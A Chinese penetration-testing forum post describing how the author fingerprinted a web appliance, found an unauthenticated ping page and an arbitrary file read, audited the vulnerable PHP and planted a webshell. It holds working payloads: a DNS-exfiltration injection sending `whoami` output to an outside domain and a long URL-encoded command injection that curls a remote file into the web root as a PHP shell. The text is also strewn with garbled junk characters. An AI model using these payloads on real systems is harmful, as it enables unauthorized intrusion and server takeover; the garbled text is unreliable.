中国网络渗透测试联盟

标题: Web安全之实战通过os命令注入漏洞getwebshell [打印本页]

作者: admin    时间: 2022-3-31 01:39
标题: Web安全之实战通过os命令注入漏洞getwebshell
[md]**一、# U# A- o! K. X% w0 p" c. d: V
** **寻找突破口**0 j0 Y1 g4 y% S
5 L" \& n  A( o, o) D
**经过右键查看源代码发现系统的特征为:images/select_bg.png,去钟馗之眼搜索如图:*** ?( ?, L! Y& [7 b  g. ?
6 D* M, f7 g8 Z  ~; n7 q0 E7 e0 p- M
![image.png](data/attachment/forum/202203/31/013456oll79nxwhwxz9h2l.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")# F; M( d! Z' ~  u

; @' b  U/ C6 X! r) \, T; y7 R" C$ X. S* O

3 ^' |/ V% d( Y**发现reporter和[Technology,
0 j/ g: I8 Z" Q/ d0 mInc.](https://www.zoomeye.org/searchRe ... title:%22Technology,%20Inc.%22&t=all)都采用这个特征,然后一看之前搞过这样的系统,有源代码,对照源代码目录发现了未授权访问页面。**/ ]% g2 `7 m; X$ M' k4 F; `
. K7 R# @4 @) \- q9 R/ x: H2 O
**地址为:**
. j. n6 r- _0 h+ Z6 e8 b3 S. H# W4 D. N
[http://1.1.1.1//view/systemConfi ... ;text_packetsize=64](http://1.1.1.1/view/systemConfig ... ;text_packetsize=64)**,如图:**
0 Y6 v7 ~% G* T4 m8 p" M
6 G& ~" d2 [2 e* o( J+ K% m( A![image.png](data/attachment/forum/202203/31/013528hffsyjijhb58lhh5.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")4 R0 ?3 j6 G, Z5 ^

& c  B; `; V- j7 ?$ b* m& [7 s4 A; u2 `  Q) J3 \2 {6 C' |3 G3 @

  ~0 i5 x3 V/ f% r8 z9 o**测试ping这里的功能,发现可以绕过ping正常功能执行命令,payload为:**
+ X5 m" O- }% ^  P" I" c9 ?8 Z# L$ E2 Z1 k4 C- o
**`whoami`.1111.ceye.io** **,如图:**
" Q0 S; q% O9 E9 [# S9 }/ K# ~
0 t3 W* s) n( Y8 U![image.png](data/attachment/forum/202203/31/013559bwl0r0lrgkpm8lrw.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")# I7 r# [4 |! n) [' U

) T) V4 R  M- I9 q: @. D! F* H
7 t& F- {- g* T  O4 t$ T/ v4 I
3 L; B' W' T: x% D" M**返回dns记录如图:**$ s$ g& D/ O+ B3 T

% ]4 g2 e! |3 _8 \+ F+ f8 |![image.png](data/attachment/forum/202203/31/013625ei2ea2ealisblpsb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
# n% @! ~- ^* N$ p# L5 `- e
" l( |) y) s' P$ [3 S4 f' g+ A
" p& d" m, q% F7 J3 ^" @& R' Y4 @( Y1 i! u( e( k, E
**发现当前用户权限为root**
, Z2 {" L% Q2 c; V! D& f7 O3 g& G8 |
**一、
' `6 k$ t# X6 Q2 b; q% W, E* _** **通过漏洞组合getwebshell**
4 l# s# [5 k9 u* y7 C, d9 `# a* X1 L/ X% s  ?8 W8 C& ?: U% }
**    ** **文章就按照挖洞顺序往下写,紧接着执行pwd命令获取web路径,如图:**
- G+ t0 Q0 ]$ L( P2 H5 v& E7 a( z- l+ V5 d
![image.png](data/attachment/forum/202203/31/013656tl9z2765580yd7t8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")6 V' a; Z. c6 |5 L. e6 u  R

9 _; U: w# V+ M
- [( s% `* C/ f- Y* g% V4 ^' A  H: r1 D  x- c' r4 a
**得知网站路径为:/var/www/html/view/systemconfig/systemtool/**) N2 `. h  I" h- Y, u# K
( N( K) x$ h  L) j' ]6 I: D; _3 o
**正好利用burpsuite发现一处os命令注入漏洞与一处任意文件查看漏洞,如下图为任意文件查看漏洞截图**) {7 _5 T- ~6 {* T6 m! D9 b
4 Z/ P+ l7 r& w9 Q1 B- u' Y9 T0 L9 r
![image.png](data/attachment/forum/202203/31/013726cn3oj66ngggc6zz8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")* _7 `4 q' _; ?4 N6 M) M

  G. }$ a6 M, p0 D4 J4 U' p**Os** **命令注入存的处为:/var/www/html/view/Behavior/toQuery.php,这个路径是通过第一步绕过ping命令正常功能执行命令漏洞获取到的,通过任意文件查看漏洞,我们读取一下源代码**) i# W. O. G8 O3 @) }% g
2 ^, Y. ]  J8 R) c/ f
![image.png](data/attachment/forum/202203/31/013749x0i8ilbkiuelle4e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")\6 d5 K  c  e$ i" l: k# s" j

2 C, h" h' i1 g( v' u, L' v' {; u2 K- u
**源代码为:**! n; W3 c0 S; o

! A0 e3 ?' x4 C  O/ P<?php# W+ X) z- q. W6 i: n
include_once($_SERVER["DOCUMENT_ROOT"]."/model/charFilter.php");
' E  o) e7 L, k2 _5 x. y6 s?># l/ d+ j5 m7 V& d8 T; d

, Z! t& I! b& e4 Q; y<?php" n) n  p# R9 @' H
# M! E* E* j5 X8 U8 F
+ B- l6 }, \1 F" i; z; D" G! ~
2 X! X! Q- L1 W: U$ z, ?( D
session_start ();
* A' M* C& x( ]1 H/ o# i( j/ c! \+ t6 F% @% X# v. n
4 p! e9 @( d! `9 V& K. Y
  c- Q" h$ P% Q5 W! @( n
  [$ p4 c) T4 l4 ^
, k( k. o8 n' o/ Z. L9 g& {0 Q

: \" H4 {6 m8 x" h
3 ], z; D9 ]: F; ^" a: fif ($_GET ["objClass"] == "")% f1 q' \% i% f. z6 }
# x3 L6 l1 m5 S) k4 Z9 ?' a
  `* {* @1 N8 X

4 ^) s/ d0 M2 O6 j  V- @5 R      exit ();
0 p+ s( \# m# M1 C. z) b. c! i* Y" {. g% S" u! \/ d: r
& L$ K/ p* c+ v! Y' r! M* X# R
# R" z) \5 }6 C" C3 I5 F
$param = $_REQUEST;# c0 {8 A! H0 x& a! B

; x+ W) O" l: y# m. _  M6 O8 o1 F6 H. o) ]
, K- l0 S: G9 w% m5 m9 g: c" S
& o( @. \7 I/ u5 e* O# H
3 X) I/ F: {+ @# z
' E- i$ r- s  Y4 L5 Z
1 \5 A' W# w; D& ~- F: t
//echo "\n--------------------------\n";
  T/ E5 p0 V8 `( o* p& D7 m) n! z: Y  ?4 Q0 C8 C& Z
9 Y( `3 r) C0 R: g7 ~1 H
& k9 D% }; i& I5 F5 N
//print_r($param);/ Q1 J$ c: p( q( a

5 i. B$ e4 F/ F5 _9 Y
2 M6 s7 g3 c! s
! n# N/ u; _8 w# U" _4 Z5 q5 e//echo "\n--------------------------\n";
0 M: O2 r2 l' x- C* l) G1 I5 `- t: t8 i% \" g( [# E6 X8 ?, O

. ~. Q. |# @' E0 i$ r; L/ J& G
% }# K& c: v7 S5 [3 }$ V5 p! N[if ($_GET ["method"] ==7 x4 v8 u  S! g5 o$ U
"getList" || $_GET ["method"] == "import" ||5 C# l, x# D7 o% z0 ]8 r5 m) v( B( Z
$_GET ["method"] == "processAlarm") ](){( D- P, d" u7 m& A& m2 X3 U5 Q
: W" \" e+ W  [: z9 T0 o' H
* N( r0 {, M4 C: f( {/ Z7 s7 X$ x/ `

/ \3 i! D1 T/ A& e- D/ d      $param& d- F6 w7 E- [3 y: e" W
["user"] = $_SESSION ["s_userName"];
! M( V* Q+ w+ L! ~8 L
- \' m7 j% r5 V  `8 k. v
7 `! f1 c+ G( z+ y8 d; z: q) [# m6 R8 E
      $param
, ?) c/ d2 B! O: G4 {+ J["lan"] = $_SESSION ["lan"];
* V. H. O+ ?! z  u3 v# _' ~; x6 K8 z3 n! ?  S& L
& o$ R$ {  d* v. ~+ z
9 b, v8 o# V9 s0 r1 K" f9 S! z
      $param
! y1 g, Z- c4 _["regUserpath"] = $_SESSION ["regUserpath"];* T. P" \2 _+ ^0 O, U0 q! G0 o8 ]
6 ^5 v( x1 _9 ?8 M4 U' `- }. B' C
/ Y# s5 ]$ P, Y- h4 u  e
1 s( c. F  C8 P1 o( _
   
9 Q- g) v1 F" N8 y& v
9 [) I0 ]0 o" C% `& Q8 {# O4 T9 u2 x- r' W
) n" ?6 p$ E  T, J4 d
      exec (
$ x4 \2 @0 c* x"rm -rf /tmp/cache" );9 }$ a  Y2 f' r" V+ U

- A8 \( p6 x2 n6 V5 N" B6 _# k: {$ t# Y5 x1 _5 s+ P8 Z1 p- \
1 @5 u% S2 R) ]/ C
      [$cmd = "/usr/local/php/bin/php ".$_SERVER
& `+ k, O4 H0 |6 }# n["DOCUMENT_ROOT"] . "system/behavior/behavior_query.php";]()* b! x( y8 H# Y4 R' ]( j& c
% A/ M5 Y- I0 ?6 C1 \+ H

, _8 C  _: O2 b8 G; N
9 A9 r" V) G9 A0 t- F/ H      $cmd .=0 Z/ B4 D% l8 x* D) \' j: m
" " . $_GET ["objClass"];
* M; l8 s6 @8 k
! K# Q5 ~2 ~* o# {4 `
2 g. M! y2 P2 C7 t4 c
$ @8 M+ x: ^3 ~9 R" T  ]      $cmd .=6 u$ v  Y4 D  J+ h+ I) e
" " . $_GET ["method"];
% e% ^4 P. f' T
9 L& M0 B7 ?0 r$ Q1 X9 P$ G/ z! v
) y1 n( [; ?3 B/ O8 l3 D' |! ?; ]6 `" `4 Q
      $cmd .=& I$ |+ G$ @' q$ W* e
" " . base64_encode ( json_encode ( $param ) );- _0 T' C( I! I

& f# P  x' [8 F6 X
9 q! O* d7 B2 n5 S) y$ _& f) j* L0 Z  w( \
      [file_put_contents("/tmp/query_cmd",$cmd);]()) T7 p! f/ I: {- ?& ~  C3 F' Q) i
! c! J3 P& P- P' {  p) v
. C) t. g' z) F0 n4 }
8 ?$ W- ]) m) z5 f
      exec ( $cmd . "
! T3 m4 d9 X+ _$ e4 P> /dev/null &" );9 t/ F% ]$ M+ p; y

0 t! R6 O$ [( E( i; n! U# ^1 `9 c! t

6 \; \. L; p. w* m$ X7 F, A6 C5 h. \6 m
. J3 q9 [( ~) H( B- G
} else {& d' Y6 W( F. n4 e3 \
$ Y5 B8 i0 ]: ^4 w' ?

1 u8 f' M- ^  p3 A; B7 K1 j; ~- e) l- n. Y8 G. x+ l  J: T0 Q
      require_once! \3 f- U) T- u& u. p2 M
($_SERVER ["DOCUMENT_ROOT"] . "system/behavior/behavior_Detail.php");
; c* l7 {7 |$ H9 r4 e7 D2 E7 _

, I. f7 ?. [! Y! s6 h5 T! q  [1 }7 R) {
      $obj = new
4 Z/ D: c+ P9 C. k* H1 \, {QueryInterface ();- s" p3 w( J' \7 {. p) y
! _* T. F5 S" n8 S# y: l4 V$ v
. s0 d% p- ]- ?: D% n8 {) Y$ K8 L
- `- Z& L/ [& w8 K! G% a; {
      $instance =
5 M1 C6 t9 t* R; y% N$obj->getInstance ();  N7 D/ W; A/ |: C
' r# j; c" m# w( L6 y/ J

/ G) t/ D, s1 q8 n
: c6 L. L! `5 l+ M4 E2 |      $instance->invokeMethod
3 T7 v& j6 h. u& ^( $_GET ["objClass"], $_GET ["method"], $param );0 L. K, P/ e9 e* f6 d7 a
. Z8 f/ f! `- V2 j  Z+ ]* ]( R
) Z7 X$ E+ W* h  K" t+ I# Y3 v
/ e3 q, P6 _; K7 v" s1 a4 ?4 o4 K4 Y
}
6 x% ]- w- M3 q; M( n0 d' B* z2 E" Z
1 r5 x3 v1 |; [0 P' t

1 E  c+ p. S$ F" ^, G9 Rexit ();
: n( Y  P& \9 @: ^9 w/ e7 J2 t- t

( h, L: O, G4 w$ M7 s3 I. @" g
8 h0 P2 w8 e5 z4 s/ B?>/ q' a$ |: l; V2 Q- ~

' x8 S) R: H. w  r**经常简单审计发现if ($_GET
+ V4 N" b9 \% p$ i["method"] == "getList" || $_GET ["method"] ==) X# E) L* i1 m
"import" || $_GET ["method"] == "[processAlarm]()"),如果method只要等于getList、import、processAlarm这其中一个,$cmd =$ x" k) _8 [+ c  z1 e
"/usr/local/php/bin/php ".$_SERVER ["DOCUMENT_ROOT"] .
2 k( _- U5 Y3 u8 P# V9 L"[system/behavior/behavior_query.php]()";  cmd等于web绝对路径+ system/behavior/behavior_query.php,然后file_put_contents("/tmp/query_cmd",$cmd);**
: r* g3 H% r5 _  }4 T5 R
- m' T$ K4 Y- l) E8 k% [5 ]**      exec ( $cmd
9 o* }5 A3 C9 z/ C% ^. "  > /dev/null &" );** **给我们构造了一个命令注入的参数,这里直接造成了OS命令注入漏洞,下面看我演示**
% P  h* s' s: W9 }) L4 @5 \
7 p# m& e4 c0 d( [/ H  w: D' I! |) ?; C, H
![image.png](data/attachment/forum/202203/31/013842ceg7htegblnr4nnk.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")! ]- W  x! k0 M4 |8 L4 m- d3 d4 K

  r3 ?1 e# v: Q8 l, W. f
) h5 }0 c: X( c- }
/ g! ?* e0 w- p) j2 b**图中objClass=存在OS命令注入漏洞,我之前试图通过bash反弹shell,但是测试了一晚上没反弹成功,最后选择了curl下载webshell,payload如下:**% V  o; k' W- y. p3 Q4 M! ]( `

: C' W; k" q1 E  |1 b**%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60pcurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%27%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60curl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%5C%22%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php**
8 ~  x2 v0 V9 o8 i6 |+ }: U! X/ G
$ |: M8 g* ^# u; h# A**我们用url解码如下:**% x& j5 Z' c& q3 V* A
# D3 U+ V, u8 P( n; {! a* S  M
**|curl http://1.1.1.1/qYCwxRz1.zip -o
& F+ C# J4 R0 q& c/var/www/html/images/suiji2.php||`pcurl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php` #' |curl http://1.1.1.1/qYCwxRz1.zip -o# h/ u! y$ R$ e) K& D
/var/www/html/images/suiji2.php||`curl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php` #\" |curl ** [**http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php**](http://8.136.218.186/qYCwxRz1.zi ... l/images/suiji2.php)
7 ^: p8 T# z( _0 L% h
. D( b% z8 ]% S4 q. m/ Y2 p**使用这么多管道符|就是要闭合payload,最后成功curl下载webshell如图:**
: }0 \+ \( B, b3 h1 g2 ?, d- D' {8 f4 v- Q
% {  f6 P& x  t! W! q8 x
![image.png](data/attachment/forum/202203/31/013922zdonl51onkonxqqz.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")! G1 y' ]  v, B, R3 d  r( m- G

% N# \8 |- ]; A
3 T5 X, G) W$ L6 K, I  A6 @& u: ?  o! |8 C. V" m- o) B

* s1 Y/ r$ E4 ^% Y**三、总结**( H$ l  R: l! P

* i" n5 g) [  a, x% {9 J) y- P**   ** **案例之所以最终获得webshell,很大程度上是取决于几个漏洞的组合,首先通过右键查看源代码找到目标系统使用的系统,因为之前测试过与目标类似的程序。然后“对症下药”找到了ping未授权访问页面,通过绕过ping命令正常功能执行pwd命令获取到网站绝对路径,其次,使用任意文件查看漏洞去读取疑似存在os命令执行漏洞的php进行简单审计,经过确认存在此漏洞,最后构造os命令执行payload,最终getwebshell,整个getwebshell过程就是一个漏洞的连环组合,渗透更多的时候是靠运气,如果这几个环节有一个环节漏洞不存在或者没挖到,可能导致getwebshell失败。**
0 V  E6 |: U$ ?4 Z; t; D3 [, [: r) ~+ K0 k
**   ** **综上所述,运气与挖洞功底同等重要,谢谢观看** **! **# w: v) H# R9 b8 o! w! M
[/md]




欢迎光临 中国网络渗透测试联盟 (http://cobjon.com/) Powered by Discuz! X3.2